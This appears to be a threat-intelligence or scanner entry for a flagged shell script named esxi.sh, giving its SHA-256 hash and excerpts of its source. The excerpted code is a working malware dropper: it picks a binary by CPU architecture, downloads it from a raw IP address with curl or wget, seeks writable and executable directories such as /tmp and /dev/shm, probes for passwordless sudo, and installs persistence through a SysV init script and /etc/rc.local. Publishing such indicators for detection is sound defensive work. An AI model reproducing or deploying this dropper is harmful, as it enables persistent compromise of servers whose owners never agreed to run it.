esxi.sh
Raw-IP multi-architecture variable payload dropperRaw-IP fetch and variable multi-arch launch
SHA-256d469a87395ca389fa857b1d51d5399cafa4d9aaa3d2538f663b699418da884cb
Also flagged by https://feeds.feedburner.com/TheHackersNews (Critical VMware vCenter Flaw (CVSS 9.8) Lets Network Attackers Bypass Authentication).
Evidence
1#!/bin/sh
2set -e
3export PATH="$PATH:/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/sbin"
4
5# ============================================================
6# Configur …
15:43… ====================
16
17# Architecture detection (for generic entries)
18detect_arch() {
19 case "$(uname -m)" in
20 x86_64|amd64) echo "amd64" ;;
21 aarch64|arm64) echo "arm64" ;;
22 armv7l|armv6l) echo "arm" ;;
23 armv5l) echo "armv5" ;;
24 i386|i686) echo "386" ;;
25 *) echo "amd64" ;;
26 esac
27}
28
29DOWNLOAD_BASE="http://185.144.28.120:3232/"
30
31ARCH=$(detect_arch)
32BINARY_URL="${DOWNLOAD_BASE}esxi_${ARCH}"
33
34
35
36# ============================================================
37# download() — fetch binary with timeout + retry
38# ============================================================
39download() {
40 …
41:3… echo "[*] Downloading $BINARY_URL → $dest/$NAME ..."
42 if command -v curl >/dev/null 2>&1; then
43 curl -fSL --connect-timeout 10 --max-time "$TIMEOUT" --retry 2 "$BINARY_URL" -o "$dest/$NAME" || {
44 echo "[-] curl failed (exit $?), URL: $BINARY_URL"
45 return 1
46 }
47 elif command -v wget >/dev/null 2>&1; then
48 wget --timeout="$TIMEOUT" --tries=2 -O "$dest/$NAME" "$BINARY_URL" || {
49 echo "[-] wget failed (exit $?), URL: $BINARY_URL"
50 return 1
51 }
52 else
53 echo "[-] Neither curl nor wget found"
54 return 1
55 fi
56 chmod +x "$dest/$NAME"
57 echo "[+] Downloaded: $dest/$NAME ($(wc -c < "$dest/$NAME") bytes)"
58}
59
60
61# ============================================================
62# find_install_dir() — locate writable + executable directory
63# ============================================================
64find_install_dir() {
65 # Prefer system directories for root
66 if [ "$(id -u)" -eq 0 ]; then
67 for d in /usr/local/bin /usr/bin /opt /tmp; do
68 [ -d "$d" ] && [ -w "$d" ] && { echo "$d"; return 0; }
69 done
70 fi
71
72 # Fall back to user-writable dirs
73 for d in "$HOME/.local/bin" "$HOME" "." /tmp /var/tmp /dev/shm; do
74 [ -z "$d" ] && continue
75 [ -d "$d" ] && [ -w "$d" ] || continue
76 # Quick write+exec test
77 printf '#!/bin/sh\nexit 0\n' > "$d/__rssh_test__" 2>/dev/null || continue
78 chmod +x "$d/__rssh_test__" 2>/dev/null || continue
79 if "$d/__rssh_test__" 2>/dev/null; then
80 rm -f "$d/__rssh_test__"
81 echo "$d"
82 return 0
83 fi
84 rm -f "$d/__rssh_test__"
85 done
86 return 1
87}
88INSTALL_DIR=$(find_install_dir)
99:30… =================================
100has_passwordless_sudo() {
101 sudo -n true 2>/dev/null
102}
103
104# ============================================================
105# has_sudo() — check if sudo is available …
192:39… LDER is not running"
193 fi
194 ;;
195 *)
196 echo "Usage: $0 {start|stop|restart|status}"
197 exit 1
198 ;;
199esac
200exit 0
201INIT_EOF
202
203 # Replace placeholders
204 sed -i "s|SERVICE_NAME_PLACEHOLDER|${SERVICE_NAME}|g" "$initd"
205 sed -i "s|SERVICE_DESC_PLACEHOLDER|${SERVICE_DESC}|g" "$initd"
206 sed -i "s|BINARY_PATH_PLACEHOLDER|${BINARY_PATH}|g" "$initd"
207
208 chmod 755 "$initd"
209
210 # Enable on boot (update-rc.d or chkconfig)
211 if command -v update-rc.d >/dev/null 2>&1; then
212 update-rc.d "${SERVICE_NAME}" defaults 2>/dev/null || true
213 elif command -v chkconfig >/dev/null 2>&1; then
214 chkconfig --add "${SERVICE_NAME}" 2>/dev/null || true
215 fi
216
217 # Start now
218 "$initd" start 2>/dev/null || true
219 echo "[+] SysV init installed and started"
220}
221
222# ============================================================
223# install_rclocal() — /etc/rc.local
224# ============================================================
225install_rclocal() {
226 local rc="/etc/rc.local"
227 echo "[*] Installing via $rc"
228
229 if [ ! -w "$rc" ]; then
230 echo "[-] Cannot write to $rc"
231 return 1
232 fi
233
234 # Remove trailing "exit 0" if present
235 if grep -q '^exit 0$' "$rc"; then
236 sed -i '/^exit 0$/d' "$rc"
237 fi
238
239 echo "nohup ${BINARY_PATH} >/dev/null 2>&1 &" >> "$rc"